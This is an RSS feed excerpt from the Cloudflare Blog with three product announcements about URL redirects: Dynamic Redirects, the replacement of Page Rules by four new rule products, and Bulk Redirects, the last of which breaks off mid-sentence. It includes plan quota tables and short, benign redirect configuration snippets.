
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sat, 11 Apr 2026 14:16:42 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Dynamic URL redirects: 301 to the future]]></title>
            <link>https://blog.cloudflare.com/dynamic-redirect-rules/</link>
            <pubDate>Tue, 27 Sep 2022 13:00:00 GMT</pubDate>
            <description><![CDATA[ With Dynamic redirects, users can redirect visitors to another webpage or website based upon hundreds of options such as the visitor's country of origin or language, without having to write a single ]]></description>
            <content:encoded><![CDATA[ <p></p><p>The Internet is a dynamic place. Websites are constantly changing as technologies and business practices evolve. What was front-page news is quickly moved into a sub-directory. To ensure website visitors continue to see the correct webpage even if it has been moved, administrators often implement URL redirects.</p><p>A URL redirect is a mapping from one location on the Internet to another, effectively telling the visitor's browser that the location of the page has changed, and where they can now find it. This is achieved by providing a virtual ‘link’ between the content’s original and new location.</p><p>URL Redirects have typically been implemented as Page Rules within Cloudflare, however Page Rules only match on the URL, rather than other elements such as the visitor's source country or preferred language. This limitation meant customers with a need for more dynamic URL redirects had to implement alternative solutions such Cloudflare Workers to achieve their goals.</p><p>To simplify the management of these more complex use cases we have created <b>Dynamic Redirects.</b> With Dynamic Redirects, users can redirect visitors to another webpage or website based upon hundreds of options such as the visitor's country of origin or language, without having to write a single line of code.</p>
    <div>
      <h3>More than a URL</h3>
      <a href="#more-than-a-url">
        
      </a>
    </div>
    <p>For nine years users were limited to 125 URL redirects per zone. This limitation meant those with a need for more URL redirects had to implement alternative solutions such <a href="https://workers.cloudflare.com/">Cloudflare Workers</a> to achieve their goals.</p><p>In December 2021, we launched <a href="/maximum-redirects-minimum-effort-announcing-bulk-redirects/">Bulk Redirects</a>, allowing up to 100,000 URL redirects per account at the time. In April 2022 we increased this maximum number to <b>over six million</b> URL redirects per account. However, there is still a gap in the ‘URL redirect’ product unfulfilled. Until now.</p><p>Bulk Redirects, much like the ‘Forwarding URL’ Page Rule, are prescriptive URL redirects. You tell us what URL to look for, and where to redirect the user to when they visit it. We can support this use case at a huge scale.</p><table>
<thead>
  <tr>
    <th>If a visitor asks for..</th>
    <th>Redirect them to…</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td>https://www.cloudflare.com/r2-storage</td>
    <td>https://www.cloudflare.com/products/r2</td>
  </tr>
  <tr>
    <td>https://www.cloudflare.com/apishield</td>
    <td>https://www.cloudflare.com/products/api-gateway</td>
  </tr>
  <tr>
    <td>https://www.cloudflare.com/welcome-center</td>
    <td>https://developers.cloudflare.com/fundamentals/get-started/</td>
  </tr>
</tbody>
</table><p>That's a simple concept to understand, however user needs have evolved. What if a user wanted to redirect visitors to a localized version of the requested page based on their preferred language? What if a user wanted to redirect visitors to their local subsidiary on the website? Or direct them to an optimized site when they visit from a mobile device? Suddenly, this well understood concept doesn’t work - and they have to deploy code in Workers to solve what is actually a common problem. And common problems deserve to be productized.</p><p>This is where Dynamic Redirects can help. The new product provides the same consistent user interface as Transform Rules, Custom Rules, Bulk Redirects, etc. and provides a new action allowing for the target URL to be dynamically created, much like the dynamic rewrite action offered in <a href="https://developers.cloudflare.com/rules/transform/url-rewrite/">Transform Rules</a>.</p><p>This dynamic action frees the user from having to define explicitly what the target URL should look like, and instead provides them with a full gamut of fields and functions to custom generate the target URL based upon the parameters of the request. For example, rather than redirecting all traffic for <a href="http://www.example.com/shop"><code>www.example.com/shop</code></a> to <a href="http://www.example.com/en/shop"><code>www.example.com/en/shop</code></a>, users can conceptually redirect the traffic to <a href="http://www.example.com/%7BPREFERRED_LANGUAGE%7D/shop"><code>www.example.com/{PREFERRED_LANGUAGE}/shop</code></a> (not actual syntax!). With this, traffic from a browser with a preferred language of French will be redirected to <a href="http://www.example.com/fr/shop"><code>www.example.com/fr/shop</code></a>, likewise those with a preferred language of German will be redirected to <a href="http://www.example.com/de/shop"><code>www.example.com/de/shop</code></a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/KSMb1ZP3E4N1nFuUPDFde/34686a5ace57a0d4922a2a0d01befd35/image3-38.png" />
            
            </figure><p>The other big difference between Dynamic Redirects and  Page Rules is in the filtering. Page Rules are limited to filtering on a URL, or a URL with asterisks as wildcards. Dynamic Redirects is built atop our lightning-fast <a href="https://developers.cloudflare.com/ruleset-engine/about/rulesets/">Rulesets Engine</a>, which also runs products such as Transform Rules, Custom Rules (WAF), Bulk Redirects and API Shield.</p><p>Due to this, Dynamic Redirects offers almost the entire suite of Ruleset Engine <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/fields">fields</a> for use in filtering; from <code>http.request.full_uri</code> for the whole URL, to <code>ip.geoip.country</code> (where is the visitor located) and <code>http.request.accepted_languages[]</code> (the language preferred by the visitor). The possibilities are endless.</p><p>Users can also now use <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/operators/">logical operators</a> such as ‘OR’. Where previously, if a user wanted to redirect five distinct URLs to the same URL they would need to deploy five Page Rules. Today, they can simply use an ‘OR’ to consolidate this use case into just one Dynamic Redirect rule:</p><table>
<thead>
  <tr>
    <th>#</th>
    <th>Expression</th>
    <th>Destination URL</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td>1</td>
    <td>(http.request.full_uri eq "https:/www.cloudflare.com/partners/integrations/") or (http.request.full_uri eq "https:/www.cloudflare.com/partners/become-a-partner/") or (http.request.full_uri eq "https:/www.cloudflare.com/partners/digital-agency/") or (http.request.full_uri eq "https:/www.cloudflare.com/partners/technology-integrator/") or (http.request.full_uri eq "https:/www.cloudflare.com/partners/view-partners/")</td>
    <td>www.cloudflare.com/partners/</td>
  </tr>
</tbody>
</table><p>We can further simplify this use case in the future by adding hostname lists, allowing users to add URLs to a list and reference it from within the rule expression, similar to IP Lists. This allows an expression like (http.request.full_uri in $vanity_urls), for example.</p>
    <div>
      <h3>A dedicated quota, just for U(RL)</h3>
      <a href="#a-dedicated-quota-just-for-u-rl">
        
      </a>
    </div>
    <p>Page Rules are used to set everything from configuration and caching behaviour to header modification and also URL redirection (Forwarding URL). This means that users tend to run out of available rules quickly.</p><p>To address this, we’re matching the Page Rule quota in each of the four new products that are being announced today. This means where in Page Rules an Enterprise customer would get 125 Page Rules to share amongst the aforementioned functions, in Dynamic Redirects they have 125 rules just for redirects. This number can be increased for Enterprise customers, also.</p><p>We’re also increasing the quota for free plans; where today free plans get three Page Rules, they will now get 10 rules for dynamic redirects, along with each of the other three products (cache, origin, config rules). That's a net increase of 37 additional rules!</p><table>
<thead>
  <tr>
    <th>Plan</th>
    <th>Page Rules</th>
    <th>Dynamic Redirects</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td>Enterprise</td>
    <td>125</td>
    <td>125+</td>
  </tr>
  <tr>
    <td>Business</td>
    <td>50</td>
    <td>50</td>
  </tr>
  <tr>
    <td>Pro</td>
    <td>20</td>
    <td>25</td>
  </tr>
  <tr>
    <td>Free</td>
    <td>3</td>
    <td>10</td>
  </tr>
</tbody>
</table><p>Users can now get more out of their Cloudflare setup, being more specific about when traffic is redirected, optimizing cache and adjusting which settings are and aren't applied - without having to trade off between these areas due to a limit in rules quota.</p>
    <div>
      <h3>Localized redirects</h3>
      <a href="#localized-redirects">
        
      </a>
    </div>
    <p>One of the examples covered earlier is being able to redirect visitors to localized content depending on their preferred language.</p><p>This can be done by analyzing the ‘Accept-Language’ header sent by the browser, which is stored as an array in the field http.request.accepted_languages[]. This field is an array of the values received by Cloudflare within the Accept-Language HTTP request header, sorted in descending weight order. This header is calculated based on the preferences set by the visitor in the ‘Language’ section of their web browser.</p><p>For example, if the visitors browser sends an 'Accept-Language' header containing "Accept-Language: fr-CH, fr;q=0.8, en;q=0.9, de;q=0.7, *;q=0.5", then the field http.request.accepted_languages[0] would contain "en", with http.request.accepted_languages[1] containing "fr" and so forth.</p><p>With this information, we can create a dynamic redirect using the action:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/ffOgGltGbr8MSOJW90DP7/10d53bb20a79d263460ec13cff47a110/image1-62.png" />
            
            </figure><p>With this rule in place, traffic from visitors with a preferred language of English (en) will be redirected to <a href="http://www.example.com/en/shop"><code>www.example.com/en/shop</code></a>. The rule can be duplicated for other languages also, ensuring those with a preferred language of French (fr) will be redirected to <a href="http://www.example.com/fr/shop"><code>www.example.com/fr/shop</code></a>.</p>
    <div>
      <h3>Mobile redirects, cookie redirects, …</h3>
      <a href="#mobile-redirects-cookie-redirects">
        
      </a>
    </div>
    <p>There are so many use cases for Dynamic Redirects we couldn't fit them all in this blog.</p><p>Other possible use cases include mobile redirects, redirects based on cookies, redirects to different endpoints based on request headers for live testing. The potential list is huge, and we can't wait to hear what you come up with. Try it <a href="https://dash.cloudflare.com/?to=/:account/:zone/rules/">today</a>!</p><p>If you want to read more, refer to our <a href="https://developers.cloudflare.com/rules/url-forwarding/single-redirects/">documentation</a>.</p><p>
</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Origin Rules]]></category>
            <category><![CDATA[Cache Rules]]></category>
            <category><![CDATA[Config Rules]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">5x03cYdI8N8okRttILtgh3</guid>
            <dc:creator>Sam Marsh</dc:creator>
        </item>
        <item>
            <title><![CDATA[The future of Page Rules]]></title>
            <link>https://blog.cloudflare.com/future-of-page-rules/</link>
            <pubDate>Tue, 27 Sep 2022 13:00:00 GMT</pubDate>
            <description><![CDATA[ Learn about four new products that will eventually replace Page Rules by putting more power into the hands of users. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Page Rules is one of our most well-used products. Adopted by millions of users, it is used for configuring everything from cache to security levels. It is the ‘If This Then That’ of Cloudflare. Where the ‘If…’ is a URL, and the ‘Then That’ is changing how we handle traffic to specific parts of a ‘zone’. But it's not without its limitations.</p><p>Page Rules can only trigger on a URL or URL pattern. There is a maximum of 125 Page Rules per zone. Page Rules are also tricky to debug. Even the idea of a “Page” sounds rather old-fashioned now.</p><p>We’re replacing Page Rules with four new dedicated products, offering increased rules quota, more functionality, and better granularity. These products are available immediately for testing. Page Rules is not going away yet, but we do anticipate being able to formally begin the end-of-life process soon.</p>
    <div>
      <h3>Why change?</h3>
      <a href="#why-change">
        
      </a>
    </div>
    <p>In the 10 years since it <a href="/introducing-pagerules-fine-grained-feature-co/">launched</a>, Page Rules has become a well established product, and a very well adopted one. One <i>million</i> Page Rules have been deployed in the past three months alone.</p><p>Page Rules are used to tune how long files should be cached. Page Rules are used to override zone-wide settings for certain URLs. Page Rules are used to create simple URL redirects. Page Rules are used to selectively add/remove HTTP headers. Page Rules is a <i>multitool</i> of a product.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/cyicKWH3ZiZNtQmjNSGEi/2f7fbea400ccc34e9d4996c999fa5980/image3-33.png" />
            
            </figure><p>Photo by <a href="https://unsplash.com/@zelebb?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Andrey Matveev</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></p><p>Like multitools and other generalist products, Page Rules does a good job at many things, but is not best-of-breed at anything. This is the trade-off of generalism. As we have grown as a company our customers have rightfully demanded more. Filtering on URL-alone is no longer sufficient; users are demanding more - and today we are delivering.</p><p>Over the last two years we have been working on the future of Page Rules and distilling hundreds of pieces of feedback into common themes, such as:</p><ol><li><p>I need more than 125 Page Rules</p></li><li><p>I need to be able to trigger Page Rules on more than just the URL</p></li><li><p>I need to be able to use regular expressions in my Page Rules</p></li><li><p>It's hard for me to understand how different Page Rules interact one another</p></li><li><p>Page Rules is hard to debug</p></li><li><p>I want more actions in Page Rules</p></li></ol><p>Analyzing these themes we came to the conclusion that the best thing for Page Rules was to disassemble it and create new discrete products, each of which could be best-of-breed for their relevant areas. This dissolution would also provide better clarity regarding interoperation (cache vs configuration vs …), and make debugging simpler.</p><p>Today, we announce those new products:</p><p><b>1. Cache</b> <b>Rules</b>: A dedicated product for setting and tuning ‘everything caching’.</p><p><b>2. Configuration</b> <b>Rules</b>: A dedicated product for setting and selectively enabling, disabling and overriding zone-wide settings.</p><p><b>3. Dynamic</b> <b>Redirects</b>: Like ‘Forwarding URL’ but turned up to 11. Redirect based on the visitors country, their preferred language, their device type, use regular expressions (plan level dependant) and more.</p><p><b>4. Origin</b> <b>Rules</b>: A dedicated product for ‘where does this traffic go where it leaves Cloudflare’. Not only have we added host header and resolve override into this new product (ENT only), we’ve also productized another common Workers use case by enabling customers to selectively override the destination port. We’ve also added the ability to override the Server Name Indication (SNI).</p><p>All four of these products are available for use now via the dashboard, API and Terraform - and sitting alongside Transform Rules provide the replacement suite of products that will eventually enable an Page Rules end-of-life announcement.</p><p>We have dedicated blogs for each of these product launches with more information on what they offer and problems they address.</p>
    <div>
      <h3>Order of execution</h3>
      <a href="#order-of-execution">
        
      </a>
    </div>
    <p>One of the main benefits of this new product suite is clarity.</p><p>Page Rules is a black box, where traffic goes in, ‘things happen’, and traffic comes out. It's hard to debug the interplay between cache, configuration, header modification etc and it can vary from zone to zone as it's entirely user defined.</p><p>By having discrete, separate areas per ‘function’, it makes visualizing the flow of a HTTP request much easier:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/WNh8WO5B7n3AeI9oczS8I/01e83a7564af29aa0014de69ff245de9/image1-58.png" />
            
            </figure><p>Rather than a single lozenge of Page Rules, we now have visibility that Origin Rules will run first, then Cache Rules, then Configuration Rules, and finally Dynamic Redirects. This means we will modify host headers first, before tuning cache settings. And we will tune the cache parameters before we modify which settings are enabled for the specific traffic.</p><p>We have integrated these new products into the <a href="/traffic-sequence-which-product-runs-first/">Traffic Sequence</a> dashboard element also.</p><p>(For zones using both Page Rules and this new suite of products: The new products will take precedence over Page Rules. This means that Page Rules will be overridden if a conflict occurs).</p>
    <div>
      <h3>I need more than 125 Page Rules</h3>
      <a href="#i-need-more-than-125-page-rules">
        
      </a>
    </div>
    <p>One of the limitations of Page Rules was how each Page Rule was stored and executed on our backend architecture. We are unable to offer more than 125 Page Rules per zone before we begin to see a performance hit - latency on HTTP requests begins to increase as evaluating them vs the Page Rules takes longer and longer. To combat this limitation users moved simple workloads to Workers, or split the zone into multiple sub domains, each with a 125 Page Rules quota. Neither of these are ideal for the customer.</p><p>To combat this limitation we have built <i>all</i> of the replacement products atop our lightning-fast <a href="https://developers.cloudflare.com/ruleset-engine/about/rulesets/">Rulesets Engine</a>, which also runs products such as Transform Rules, Custom Rules (WAF), Bulk Redirects and API Shield.</p><p>This allows us to offer much more quota to customers, as this engine is built to scale well beyond 125 rules per product. The table below summarizes the before and after impact of these new products, showing the default rules quota per plan:</p><table>
<thead>
  <tr>
    <th>Plan</th>
    <th>Page Rules</th>
    <th>Origin Rules</th>
    <th>Cache Rules</th>
    <th>Config Rules</th>
    <th>Dynamic Redirects</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td>Enterprise</td>
    <td>125</td>
    <td>125+</td>
    <td>125+</td>
    <td>125+</td>
    <td>125+</td>
  </tr>
  <tr>
    <td>Business</td>
    <td>50</td>
    <td>50</td>
    <td>50</td>
    <td>50</td>
    <td>50</td>
  </tr>
  <tr>
    <td>Pro</td>
    <td>20</td>
    <td>25</td>
    <td>25</td>
    <td>25</td>
    <td>25</td>
  </tr>
  <tr>
    <td>Free</td>
    <td>3</td>
    <td>10</td>
    <td>10</td>
    <td>10</td>
    <td>10</td>
  </tr>
</tbody>
</table><p><i>Additional rules cannot be purchased for these new products.</i></p><p>This means zone’s on the Enterprise plan now have a minimum of <b>500</b> rules to use where before they had 125 via Page Rules. For Enterprises the quota for the new products is negotiable. Pro plan zones go from 20 Page Rules to 100.  Combined with the fine-grained control that the ruleset engine offers, these changes allow customers to customize their zone’s traffic to the finest of margins.</p><p>The other benefit from building all of these products on the Rulesets Engine is extensibility. Currently there are over 30 products that are built and running on the Rulesets Engine. Each of these products is essentially a logical bucket called a ‘phase’ which contains a single ruleset scoped to that product. Each phase is restricted to specific actions and fields, for example the field cf.bot_management.score is unavailable in http_request_transform as we have not calculated the bot score at the time we perform URL rewrites. Also, only the <code>rewrite</code> action is permitted. Whereas in Origin Rules (http_request_origin) we only allow the action <code>route</code></p><p>When we create new capabilities for a product that is built atop the Rulesets Engine it is trivially simple for us to extend that new capability to other products at a later date.</p><p>For example, we added a new <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/fields">‘field’</a>, <code>http.request.accepted_languages</code> to Transform Rules earlier in the year. Until recently this was only available in Transform Rules. However, as both products are built on the <a href="https://developers.cloudflare.com/ruleset-engine/about/rulesets/">Rulesets Engine</a> it was trivial to enable this feature for Dynamic Redirects. This allows customers to perform URL redirects based on the visitor's language preference, and the cost to us from an engineering perspective is negligible as the field is already implemented.</p><p>This also means in the future should a new field be created for Cache Rules due to a customer request, e.g. http.request.super_cool_field, in a matter of clicks we can enable this field for any of the other 30 products rather than have to duplicate effort across multiple platforms.</p><p>Simply put, the more products we build on top of the Rulesets Engine, the faster we can move and the more functionality we can put into users hands.</p>
    <div>
      <h3>A single user experience</h3>
      <a href="#a-single-user-experience">
        
      </a>
    </div>
    <p>The most important benefit of all is consistency. Each of these products has a consistent and predictable API. A consistent and predictable Terraform configuration, and a consistent and predictable user experience in the dashboard. The ruleset engine allows us to keep everything the same except for the ‘action’. The filtering stays the same, the API stays the same, the UI stays (largely) the same, the only change is the ‘…then’, the action section of the rule.</p><p>This ensures that as a user when you are clicking around the dashboard setting up a new zone you aren't having to learn each individual product’s page and how to navigate it. The only part you need to learn is what makes that product unique, its <i>actions</i>:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6hfXLnp7HiV9sziDFJl9zw/cf888d5c543db9380d81398bb60b46c2/image4-15.png" />
            
            </figure><p>Finally, when we add a new product, extending the Terraform provider to support it is trivial. That consistent experience has been a north star for us during this project and will continue to be in the future.</p>
    <div>
      <h3>Try it them now</h3>
      <a href="#try-it-them-now">
        
      </a>
    </div>
    <p>We are replacing Page Rules with a new suite of products, each built to be best-of-breed and put more power into the hands of our users.</p><p>Read more about the new products in each of their dedicated blogs. Then, <a href="https://dash.cloudflare.com/?to=/:account/:zone/rules/">try</a> them for yourself!</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Origin Rules]]></category>
            <category><![CDATA[Cache Rules]]></category>
            <category><![CDATA[Config Rules]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">1udqPnVLDWQhuQf9MtMyt2</guid>
            <dc:creator>Sam Marsh</dc:creator>
        </item>
        <item>
            <title><![CDATA[Maximum redirects, minimum effort: Announcing Bulk Redirects]]></title>
            <link>https://blog.cloudflare.com/maximum-redirects-minimum-effort-announcing-bulk-redirects/</link>
            <pubDate>Mon, 13 Dec 2021 13:57:23 GMT</pubDate>
            <description><![CDATA[ Bulk Redirects is a new product that allows an administrator to upload and enable hundreds of thousands of URL redirects within minutes, without having to write a single line of code. ]]></description>
            <content:encoded><![CDATA[ <p></p>
    <div>
      <h3>404: Not Found</h3>
      <a href="#404-not-found">
        
      </a>
    </div>
    <p>The Internet is a dynamic place. Websites are constantly changing as technologies and business practices evolve. What was front-page news is quickly moved into a <a href="https://blog.cloudflare.com/subdomains-vs-subdirectories-best-practices-workers-part-1/">sub-directory</a>. To ensure website visitors continue to see the correct webpage even if it has been moved, administrators often implement <i>URL redirects.</i></p><p>A URL redirect is a mapping from one location on the Internet to another, effectively telling the visitor's browser that the location of the page has changed, and where they can now find it. This is achieved by providing a virtual ‘link’ between the content’s original and new location.</p><p>URL Redirects have typically been implemented as <a href="https://www.cloudflare.com/features-page-rules/">Page Rules</a> within Cloudflare, up to a maximum of 125 URL redirects per zone. This limitation meant customers with a need for more URL redirects had to implement alternative solutions such <a href="https://workers.cloudflare.com/">Cloudflare Workers</a> to achieve their goals.</p><p>To simplify the management and implementation of URL redirects at scale we have created <b>Bulk Redirects</b><i>.</i> Bulk Redirects is a new product that allows an administrator to upload and enable hundreds of thousands of URL redirects within minutes, without having to write a single line of code.</p>
    <div>
      <h3>We’ve moved!</h3>
      <a href="#weve-moved">
        
      </a>
    </div>
    <p>Mail forwarding is a product offered by postal services such as <a href="https://www.usps.com/manage/forward.htm">USPS</a> and <a href="https://www.royalmail.com/d8/help/redirection">Royal Mail</a> that allows you to continue to receive letters and parcels even if they are sent to an address where you no longer reside.</p><p>The postal services achieve this by effectively maintaining a register of your new location and your old location. This allows the systems to detect ‘<i>this letter is for Sam Marsh at address A, but he now lives at address B, therefore send the mail there’</i>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/44gSIkRcm0aLeOwYo9Kcs5/72d8227f42e64d348220f36033e31008/image1-41.png" />
            
            </figure><p>Photo by <a href="https://unsplash.com/@christianlue?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Christian Lue</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></p><p>This problem can be solved by manually updating my bank, online shops, etc. and having them send the parcels and letters directly to my new address. However, that assumes I know of every person and business who has my address. And it also relies on those people to remember I moved address and make updates on their side. For example, Grandma Marsh might have forgotten about my new address — I’ve moved a lot — and she may send my birthday card to my old address. Or all those Christmas cards from people who I don't speak with regularly. Those will go to my old address also.  To solve this, I can use mail forwarding to ensure I still receive my cards and other mail, even though I no longer live at that address.</p><p>URL redirects are the Internet equivalent of mail forwarding.</p><p>URL redirects are effectively a table with two columns; what traffic am I looking <i>for,</i> and where should I send that traffic <i>to</i>? This mapping allows an administrator to define "<i>whenever visitors go to</i> <code>_[https://www.cloudflare.com/bots](https://www.cloudflare.com/bots)_</code> <i>I want to redirect them to the new location</i> <code>_[https://www.cloudflare.com/pg-lp/bot-mitigation-fight-mode](https://www.cloudflare.com/pg-lp/bot-mitigation-fight-mode)_</code><i>"</i>.</p><p>With this technology, our sales and marketing teams can use the vanity URL all across the Internet, safe in the knowledge that should the backend systems change they won’t need to go to all the places this URL has been posted and update it. Instead, the intermediary system that handles the URL redirects can be updated. One location. Not thousands.</p>
    <div>
      <h3>Why use URL redirects?</h3>
      <a href="#why-use-url-redirects">
        
      </a>
    </div>
    <p>URL redirects are used to solve a number of use cases. One such common use case is to use URL redirects to force all visitors to connect to the website over a secure HTTPS connection, instead of via plain HTTP, to improve <b>security</b>. It's such a common use case we created a <a href="https://developers.cloudflare.com/ssl/edge-certificates/additional-options/always-use-https">toggle</a> in the Cloudflare dashboard, “Always use HTTPS”, which redirects all HTTP requests to HTTPS when enabled.</p><p>URL redirects are also used for <b>vanity domains and hyperlinks.</b> In these scenarios, URL redirects are deployed to provide a mapping of short, user-friendly URLs to long, server-friendly URLs.  Not only are shorter URLs more memorable, but they are better scoring from an SEO perspective. According to <a href="https://backlinko.com/google-ranking-factors">Backlinko</a>, ‘<i>Excessively long URLs may hurt a page’s search engine visibility. In fact, several industry studies have found that short URLs tend to have a slight edge in Google’s search results.</i>’.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6QGzJwjtfAK6IVmMfY6nc5/9e96cf71234fe4aba303dce6a1b36577/image5-17.png" />
            
            </figure><p>Photo by <a href="https://unsplash.com/@halacious?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Hal Gatewood</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></p><p>Another use case is where a company may have a local domain for each of their markets, which they want to redirect back to the main website, e.g., redirect <code>www.example.fr</code> and <code>www.example.de</code> to <code>www.example.com/eu/fr</code> and <code>www.example.com/eu/de</code>, respectively.</p><p>This also covers <b>company acquisition</b>, where a company is acquired and the acquiring company wants to redirect hyperlinks to the relevant pages on their own website, e.g., redirect <code>www.example.com</code> to <code>www.companyB.com/portfolio/example</code>.</p><p>Finally, one of the most common use cases for URL redirects is to maintain uptime during a <b>website migration.</b> As companies migrate their websites from one platform to another, or one domain to another, URL redirects ensure visitors continue to see the correct content. Without these URL redirects, hyperlinks in emails, blogs, marketing brochures, etc. would fail to load, potentially costing the business revenue in lost sales and brand damage. For example, <code>www.example.com/products/golf/product-goes-here</code> would redirect to the new website at <code>products.example.com/golf/product-goes-here</code>.</p>
    <div>
      <h3>How are URL redirects implemented today?</h3>
      <a href="#how-are-url-redirects-implemented-today">
        
      </a>
    </div>
    <p>Ensuring these URL redirects are executed correctly is often the job of the reverse proxy — a server which sits between the client and the origin whose job is, amongst many others, to re-route received traffic to the correct destination.</p><p>For example, when using NGINX, a <a href="https://w3techs.com/technologies/overview/web_server">popular</a> web server, the administrator would have a line in the config similar to the one below to implement a URL redirect:</p>
            <pre><code>`rewrite ^/oldpage$ http://www.example.com/newpage permanent;`</code></pre>
            <p>Historically, these web servers were located physically within a company's data center. Administrators then had full control over the URLs received, and could create the redirect rules as and when needed.</p><p>As the world rapidly migrates on-premise applications and solutions to the cloud, administrators can find themselves in a situation where they can no longer do what they previously could. Not being responsible for the origin has a number of benefits, but it also comes with drawbacks such as lack of ‘control’. Previously, an administrator could quickly add a few config lines to the web server in front of their ecommerce platform. Moving to an online hosted platform makes this much more difficult to do.</p><p>As such, administrators have moved to platforms like Cloudflare where functionality such as URL redirects can be implemented in the cloud without the need to have administrator access to the origin.</p><p>The first way to implement a URL Redirect in Cloudflare is via a <a href="https://support.cloudflare.com/hc/en-us/articles/200172286-Configuring-URL-forwarding-or-redirects-with-Cloudflare-Page-Rules">Forwarding URL</a> Page Rule. Users can create a Page Rule which matches on a specific URL and redirects matching traffic to another specific URL, along with a status code — either a permanent redirect (301) or a temporary redirect (302):</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4rj1gaWkXtETmH8rMMMHWN/ebeb1b15c2d448fcd56bf41b708e5394/image6-10.png" />
            
            </figure><p>Another method is to use Cloudflare Workers to implement URL redirects, either individually or as a map. For example, the code below is used to create a URL redirect map which runs when the Worker is invoked:</p>
            <pre><code>const redirectMap = new Map([
 ["/bulk1", "https://" + externalHostname + "/redirect2"],
 ["/bulk2", "https://" + externalHostname + "/redirect3"],
 ["/bulk3", "https://" + externalHostname + "/redirect4"],
 ["/bulk4", "https://google.com"],
])</code></pre>
            <p>This <a href="https://developers.cloudflare.com/workers/examples/bulk-redirects">snippet</a> is taken from the Cloudflare Workers examples library and can be used to scale beyond the 125 URL redirect limit of Page Rules. However, it does require the administrator to be comfortable working with code and correctly configuring their Cloudflare Workers.</p>
    <div>
      <h3>Introducing: Bulk Redirects</h3>
      <a href="#introducing-bulk-redirects">
        
      </a>
    </div>
    <p>Speaking with Cloudflare users about URL redirects and their experience with our product offerings, “<i>Give me a product which lets me upload thousands of URL redirects to Cloudflare via a GUI”</i> was a very common request. Customers we interviewed typically wanted a simple way to upload a list of ‘from,to,response code’ without having to write a single line of code. And that's what we are announcing today.</p><p><b>Bulk Redirects</b> is now available for all Cloudflare plans. It is an account/organization-level product capable of supporting hundreds of thousands of URL redirects, all configured via the dashboard without having to write a single line of code.</p><p>The system is implemented in two parts. The first part is the Bulk Redirect <i>List</i>. This is effectively the redirect map, or ‘edge dictionary’, where users can upload their URL redirects:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5QhgGqiHUqVRe2VSia5EKD/a70f6b3b570fe5918b7d3edbd89dccbb/image7-4.png" />
            
            </figure><p>Each URL redirect within the list contains three main elements. The first two elements are <b>Source URL</b> (the URL we are looking for) and <b>Target</b> <b>URL</b> (the URL we are going to redirect matching traffic to).</p><p>There is also the <b>Status code.</b> This is the ‘type’ of redirect. In addition to 301 (Moved Permanently) and 302 (Moved Temporarily) redirects, we have added support for the newer <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307">307 (Temporary Redirect)</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308">308 (Permanent Redirect)</a> redirect status codes.</p><p>We have added support for specifying destination ports within the <b>Target URL</b> field also, allowing URL redirects to non-standard ports, e.g., “<b>Target URL</b>: <code>www.example.com:8443</code>”.</p><p>If you have many URL redirects, you can upload them via a CSV file.</p><p>There are also four additional parameters available for each individual URL redirect.</p><p>Firstly, we have added two options to replace the ambiguity and confusion caused by the use of asterisks as wildcards. Take this source URL as an example: <code>*.example.com/a/b</code>. Would you expect <code>www.example.com/a/b</code> to match? How about <code>example.com/a/b</code>, or <code>www.example.com/path*</code>? Asterisks used as wildcards cause confusion and misunderstanding, and also increase the cost of implementation and maintenance from an engineering perspective. Therefore, we are not implementing them in Bulk Redirects.</p><p>Instead, we have added two discrete options: <b>Include subdomains</b> and <b>Subpath matching.</b> The <b>Include subdomains</b> option, once enabled, will match all subdomains to the left of the domain portion of the URL as well as the domain specified. For example, if there is a URL redirect with a source URL of <code>example.com/a</code> then traffic to <code>b.example.com/a</code> 